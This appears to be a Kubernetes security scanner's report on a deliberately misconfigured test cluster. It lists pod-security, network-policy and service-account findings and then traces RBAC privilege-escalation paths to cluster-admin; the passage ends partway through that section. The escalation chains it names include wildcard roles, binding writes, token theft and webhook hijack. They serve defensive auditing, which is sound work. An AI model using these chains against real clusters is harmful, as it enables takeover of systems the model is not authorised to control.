  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/csr-fixtures/csr-sign-app
  • HIGH KUBE-PODSEC-APE-001 Container api allows privilege escalation in Deployment/flat-network/api
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/flat-network/unmatched
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/foothold-fixtures/foothold-priv-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/foothold-fixtures/foothold-quiet-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/gw-workloads/gw-web
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/hookbackend-fixtures/hookbackend-injector
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/imgswap-fixtures/imgswap-reader-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/ingress-only/ingress-app
  • HIGH KUBE-PODSEC-APE-001 Container local-path-provisioner allows privilege escalation in Deployment/local-path-storage/local-path-provisioner
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/lp-fixtures/lp-narrow-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/lp-fixtures/lp-orphan-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/lp-fixtures/lp-wildcard-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/netpol-imds/imds-allow-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/netpol-imds/imds-open-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/psa-unlabeled-fixtures/psa-unlabeled-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/rbac-fixtures/imp-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/rbac-fixtures/wildcard-app
  • HIGH KUBE-PODSEC-APE-001 Container pause allows privilege escalation in Deployment/secrets-bundle/cross-ns-consumer
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/statusspoof-fixtures/statusspoof-api
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/vulnerable/generic-hostpath-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/vulnerable/host-ns-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/vulnerable/risky-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/vulnerable/root-runner
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/vulnerable/socket-mounts-app
  • HIGH KUBE-PODSEC-APE-001 Container batch allows privilege escalation in Job/gw-workloads/gw-batch
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Pod/foothold-exec/foothold-decoy
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Pod/foothold-exec/foothold-target
  • HIGH KUBE-HOSTPATH-001 HostPath mount /tmp/data in Deployment/vulnerable/generic-hostpath-app
  • MEDIUM KUBE-ADMISSION-003 MutatingWebhookConfiguration risky-ignore-webhook/mutate.vulnerable.local exempts sensitive system namespaces via namespaceSelector
  • MEDIUM KUBE-CONFIGMAP-001 ConfigMap secrets-bundle/app-credentials exposes credential-shaped keys (aws_secret_access_key, database_dsn, db_password, jwt_token, oauth_client_secret) in plaintext
  • MEDIUM KUBE-CONFIGMAP-001 ConfigMap vulnerable/app-config exposes credential-shaped keys (api_token, db_password) in plaintext
  • MEDIUM KUBE-ADMISSION-002 MutatingWebhookConfiguration risky-ignore-webhook/mutate.vulnerable.local can be bypassed by omitting the workload-controlled labels in objectSelector
  • MEDIUM KUBE-PODSEC-ROOT-001 Container app runs as root (UID 0) in Deployment/vulnerable/root-runner
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in DaemonSet/rbac-fixtures/daemon-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/cloud-eks-test/imds-pivot-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/cloud-eks-test/irsa-admin-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/containersec-fixtures/containersec-image
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/containersec-fixtures/containersec-lifecycle
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/containersec-fixtures/containersec-limits
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/containersec-fixtures/containersec-probes
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/csr-fixtures/csr-mint-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/csr-fixtures/csr-sign-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container api has a writable root filesystem in Deployment/flat-network/api
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/flat-network/unmatched
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/foothold-fixtures/foothold-priv-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/foothold-fixtures/foothold-quiet-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/gw-workloads/gw-web
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/hookbackend-fixtures/hookbackend-injector
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/imgswap-fixtures/imgswap-reader-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/ingress-only/ingress-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container local-path-provisioner has a writable root filesystem in Deployment/local-path-storage/local-path-provisioner
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/lp-fixtures/lp-narrow-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/lp-fixtures/lp-orphan-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/lp-fixtures/lp-wildcard-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/netpol-imds/imds-allow-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/netpol-imds/imds-open-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/psa-unlabeled-fixtures/psa-unlabeled-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/rbac-fixtures/imp-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/rbac-fixtures/wildcard-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container pause has a writable root filesystem in Deployment/secrets-bundle/cross-ns-consumer
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/statusspoof-fixtures/statusspoof-api
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/vulnerable/generic-hostpath-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/vulnerable/host-ns-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/vulnerable/risky-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/vulnerable/root-runner
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/vulnerable/socket-mounts-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container batch has a writable root filesystem in Job/gw-workloads/gw-batch
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Pod/foothold-exec/foothold-decoy
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Pod/foothold-exec/foothold-target
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in DaemonSet/rbac-fixtures/daemon-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/cloud-eks-test/imds-pivot-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/cloud-eks-test/irsa-admin-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/containersec-fixtures/containersec-image
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/containersec-fixtures/containersec-lifecycle
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/containersec-fixtures/containersec-limits
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/containersec-fixtures/containersec-probes
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/csr-fixtures/csr-mint-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/csr-fixtures/csr-sign-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container api runs without a seccomp profile in Deployment/flat-network/api
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/flat-network/unmatched
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/foothold-fixtures/foothold-priv-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/foothold-fixtures/foothold-quiet-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/gw-workloads/gw-web
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/hookbackend-fixtures/hookbackend-injector
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/imgswap-fixtures/imgswap-reader-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/ingress-only/ingress-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container local-path-provisioner runs without a seccomp profile in Deployment/local-path-storage/local-path-provisioner
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/lp-fixtures/lp-narrow-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/lp-fixtures/lp-orphan-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/lp-fixtures/lp-wildcard-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/netpol-imds/imds-allow-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/netpol-imds/imds-open-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/psa-unlabeled-fixtures/psa-unlabeled-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/rbac-fixtures/imp-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/rbac-fixtures/wildcard-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container pause runs without a seccomp profile in Deployment/secrets-bundle/cross-ns-consumer
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/statusspoof-fixtures/statusspoof-api
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/vulnerable/generic-hostpath-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/vulnerable/host-ns-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/vulnerable/risky-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/vulnerable/root-runner
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/vulnerable/socket-mounts-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container batch runs without a seccomp profile in Job/gw-workloads/gw-batch
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Pod/foothold-exec/foothold-decoy
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Pod/foothold-exec/foothold-target
  • MEDIUM KUBE-PSA-LABELS-001 Namespace foothold-fixtures runs Baseline violators but has no PSA enforce label
  • MEDIUM KUBE-PSA-LABELS-001 Namespace psa-unlabeled-fixtures runs Baseline violators but has no PSA enforce label
  • MEDIUM KUBE-PSA-LABELS-001 Namespace vulnerable runs Baseline violators but has no PSA enforce label
  • LOW KUBE-IMAGE-LATEST-001 Container app uses mutable image tag public.ecr.aws/aws-cli/aws-cli:latest in Deployment/cloud-eks-test/imds-pivot-app
  • LOW KUBE-IMAGE-LATEST-001 Container app uses mutable image tag busybox:latest in Deployment/containersec-fixtures/containersec-image
  • LOW KUBE-IMAGE-LATEST-001 Container app uses mutable image tag nginx:latest in Deployment/vulnerable/risky-app
187 findings
Network Separation and Hardening

Control plane hardening

5 crit 39 high 6 med
  • CRITICAL KUBE-PRIVESC-020 Cluster-wide update/patch on apiservices lets ServiceAccount/hookbackend-fixtures/apisvc-installer re-route API groups to a server it controls
  • CRITICAL KUBE-PRIVESC-038 Control-plane backend hijack: ServiceAccount/hookbackend-fixtures/hookbackend-operator can take over MutatingWebhookConfiguration hookbackend-fixtures-injector/inject.hookbackend-fixtures.example.com in hookbackend-fixtures
  • CRITICAL KUBE-PRIVESC-038 Control-plane backend hijack: ServiceAccount/rbac-fixtures/sa-pod-create can take over MutatingWebhookConfiguration hookbackend-fixtures-injector/inject.hookbackend-fixtures.example.com in hookbackend-fixtures
  • CRITICAL KUBE-PRIVESC-038 Control-plane backend hijack: ServiceAccount/rbac-fixtures/sa-workload-mutate can take over MutatingWebhookConfiguration hookbackend-fixtures-injector/inject.hookbackend-fixtures.example.com in hookbackend-fixtures
  • CRITICAL KUBE-PRIVESC-038 Control-plane backend hijack: ServiceAccount/vulnerable/privileged-reader can take over MutatingWebhookConfiguration hookbackend-fixtures-injector/inject.hookbackend-fixtures.example.com in hookbackend-fixtures
  • HIGH KUBE-PRIVESC-021 Namespace hookbackend-fixtures only write on endpointslices lets ServiceAccount/hookbackend-fixtures/hookbackend-slicer steer Service traffic
  • HIGH KUBE-PRIVESC-022 Namespace hookbackend-fixtures only update/patch on services lets ServiceAccount/hookbackend-fixtures/hookbackend-operator re-point Service traffic
  • HIGH KUBE-NETPOL-WEAKNESS-002 NetworkPolicy flat-network/allow-broad allows egress to 0.0.0.0/0 (entire internet)
  • HIGH KUBE-NETPOL-WEAKNESS-002 NetworkPolicy netpol-imds/allow-everywhere allows egress to 0.0.0.0/0 (entire internet)
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace cert-manager has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace cloud-eks-imp has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace cloud-eks-test has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace containersec-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace csr-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace cutres has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace cutres-deputy-tenant has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace cutres-pods-a has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace cutres-pods-b has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace deepchain-tenant has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace default has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace flux-system has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace foothold-exec has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace foothold-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace foothold-ops has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace gw-groups has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace gw-outsider has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace gw-workloads has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace hookbackend-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace imgswap-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace local-path-storage has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace lp-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace map-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace nodeid-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace privesc-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace psa-suppressed has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace psa-unlabeled-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace psaflip-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace pv-hostpath-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace rbac-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace rbac-ns-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace secrets-bundle has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace secrets-bundle-target has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace statusspoof-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace vulnerable has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • MEDIUM KUBE-PRIVESC-036 Namespace statusspoof-fixtures only update/patch on pods/status lets ServiceAccount/statusspoof-fixtures/statusspoof-writer redirect Service traffic
  • MEDIUM KUBE-NETPOL-COVERAGE-002 Workload Deployment/flat-network/unmatched is in a policied namespace but no policy podSelector matches it
  • MEDIUM KUBE-NETPOL-COVERAGE-002 Workload Deployment/netpol-imds/imds-open-app is in a policied namespace but no policy podSelector matches it
  • MEDIUM KUBE-NETPOL-COVERAGE-003 Namespace ingress-only controls ingress but has no Egress policy (one-way enforcement)
  • MEDIUM KUBE-NETPOL-COVERAGE-003 Namespace netpol-bridge controls ingress but has no Egress policy (one-way enforcement)
  • MEDIUM KUBE-NETPOL-WEAKNESS-001 NetworkPolicy flat-network/allow-broad accepts ingress from any namespace via empty namespaceSelector
50 findings
Authentication

Service account tokens

3 crit 14 high 20 med
  • CRITICAL KUBE-SA-PRIVILEGED-002 ServiceAccount ServiceAccount/foothold-exec/foothold-decoy-sa is mounted by live workloads and has dangerous permissions: secrets (cluster), create pods (cluster), mutate workloads (cluster), bind roles (cluster), bind/escalate (cluster), impersonate (cluster), nodes/proxy (cluster)
  • CRITICAL KUBE-SA-PRIVILEGED-002 ServiceAccount ServiceAccount/rbac-fixtures/sa-impersonate is mounted by live workloads and has dangerous permissions: impersonate (cluster)
  • CRITICAL KUBE-SA-PRIVILEGED-002 ServiceAccount ServiceAccount/rbac-fixtures/sa-wildcard is mounted by live workloads and has dangerous permissions: secrets (cluster), create pods (cluster), mutate workloads (cluster), bind roles (cluster), bind/escalate (cluster), impersonate (cluster), nodes/proxy (cluster)
  • HIGH KUBE-PRIVESC-014 Namespace cloud-eks-test only create serviceaccounts/token enables token minting (ServiceAccount/cloud-eks-test/eks-token-minter)
  • HIGH KUBE-PRIVESC-014 Cluster-wide create serviceaccounts/token enables token minting (ServiceAccount/rbac-fixtures/sa-token-create)
  • HIGH KUBE-PRIVESC-037 create certificatesigningrequests/nodeclient lets ServiceAccount/nodeid-fixtures/nodeid-joiner obtain an auto-approved kubelet identity for any node
  • HIGH KUBE-PRIVESC-026 Secret write reaching kube-system lets ServiceAccount/privesc-fixtures/sa-secret-mint mint a bootstrap token, and with it a kubelet identity for any node
  • HIGH KUBE-PRIVESC-014 Namespace foothold-fixtures only create serviceaccounts/token enables token minting (ServiceAccount/foothold-fixtures/foothold-minter)
  • HIGH KUBE-SA-PRIVILEGED-002 ServiceAccount ServiceAccount/foothold-exec/foothold-reader is mounted by live workloads and has dangerous permissions: secrets (kube-system)
  • HIGH KUBE-SA-PRIVILEGED-002 ServiceAccount ServiceAccount/foothold-fixtures/foothold-quiet is mounted by live workloads and has dangerous permissions: secrets (kube-system)
  • HIGH KUBE-SA-PRIVILEGED-002 ServiceAccount ServiceAccount/imgswap-fixtures/imgswap-reader is mounted by live workloads and has dangerous permissions: secrets (cluster)
  • HIGH KUBE-SA-PRIVILEGED-002 ServiceAccount ServiceAccount/local-path-storage/local-path-provisioner-service-account is mounted by live workloads and has dangerous permissions: create pods (local-path-storage)
  • HIGH KUBE-SA-PRIVILEGED-002 ServiceAccount ServiceAccount/lp-fixtures/sa-lp-wildcard is mounted by live workloads and has dangerous permissions: secrets (lp-fixtures)
  • HIGH KUBE-SA-PRIVILEGED-002 ServiceAccount ServiceAccount/rbac-fixtures/sa-pod-create is mounted by live workloads and has dangerous permissions: create pods (cluster)
  • HIGH KUBE-SA-PRIVILEGED-002 ServiceAccount ServiceAccount/secrets-bundle/cross-ns-reader is mounted by live workloads and has dangerous permissions: secrets (secrets-bundle-target)
  • HIGH KUBE-SECRETS-001 Secret vulnerable/legacy-token is a long-lived kubernetes.io/service-account-token (legacy, no expiry)
  • HIGH KUBE-SA-DAEMONSET-001 ServiceAccount ServiceAccount/rbac-fixtures/sa-pod-create is mounted by a DaemonSet, so its token lives on every node the DaemonSet schedules to
  • MEDIUM KUBE-SA-DEFAULT-002 Default ServiceAccount vulnerable/default carries explicit RBAC, so every pod that omits serviceAccountName inherits these rights
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/cloud-eks-test/imds-pivot-app runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/containersec-fixtures/containersec-image runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/containersec-fixtures/containersec-lifecycle runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/containersec-fixtures/containersec-limits runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/containersec-fixtures/containersec-probes runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/flat-network/api runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/flat-network/unmatched runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/hookbackend-fixtures/hookbackend-injector runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/ingress-only/ingress-app runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/netpol-imds/imds-allow-app runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/netpol-imds/imds-open-app runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/psa-suppressed/psa-priv-app runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/statusspoof-fixtures/statusspoof-api runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/vulnerable/generic-hostpath-app runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/vulnerable/host-ns-app runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/vulnerable/risky-app runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/vulnerable/root-runner runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/vulnerable/socket-mounts-app runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Job/gw-workloads/gw-batch runs as the namespace default ServiceAccount
37 findings

Privilege-Escalation Paths

Every RBAC privilege-escalation path the analyzer computed, grouped by the sink it reaches. Each path starts at a subject an attacker might compromise and walks hop by hop to a high-value target: full cluster-admin, the system:masters group, kube-system secrets, minted service-account tokens, or node root via container escape. This is the exhaustive list. The Attack Paths tab draws the same chains as an interactive graph but caps how many it renders, and the hero panel up top highlights only the worst few. Each card links to its full finding (with remediation) in the Findings tab. Both this search and its cut-resilient alternate check went up to 5 hops deep (--max-privesc-depth); a route that survives a recommended cut but sits past that depth will not appear here.

288 Escalation paths
9 Distinct sinks
63 Critical paths
→ cluster-admin

23 paths to cluster-admin

23 crit
CRITICAL ServiceAccount/cert-manager/cert-manager → cluster-admin score 9.7 1 hop View finding →

ServiceAccount `cert-manager` in namespace `cert-manager` reaches cluster-admin in 1 hop via Wildcard verbs × wildcard resources.

  1. Wildcard verbs × wildcard resources wildcard_permission

    An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

    From ServiceAccount/cert-manager/cert-manager
    Permission granted *:*:*
    Gives the attacker wildcard verbs on wildcard resources in wildcard API groups
CRITICAL ServiceAccount/cutres/cutres-detour → cluster-admin score 9.7 1 hop View finding →

ServiceAccount `cutres-detour` in namespace `cutres` reaches cluster-admin in 1 hop via Wildcard verbs × wildcard resources.

  1. Wildcard verbs × wildcard resources wildcard_permission

    An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

    From ServiceAccount/cutres/cutres-detour
    Permission granted *:*:*
    Gives the attacker wildcard verbs on wildcard resources in wildcard API groups
Survives cutting the cutres-detour-direct binding (3 hops)

This route reaches the same target without the cutres-detour-direct binding, so removing this subject from that binding alone does not close it. The Remediation for this finding may name a broader fix that closes both.

  1. Step 1 of 3 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/cutres/cutres-detour
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace cutres, holding the `bind` verb that satisfies RBAC escalation prevention
  2. Step 2 of 3 Co-located ServiceAccount token theft colocated_sa_token_theft

    Administrative control over a namespace implies control over every identity inside it. Someone who can create RoleBindings in a namespace can create a pod that mounts any ServiceAccount there, exec into a pod already running as it, or read its token Secret directly.

    This matters when a namespace hosts an identity more powerful than the namespace itself, for example a controller whose ClusterRoleBinding grants cluster-wide permissions. Namespace-admin then becomes a stepping stone rather than a boundary.

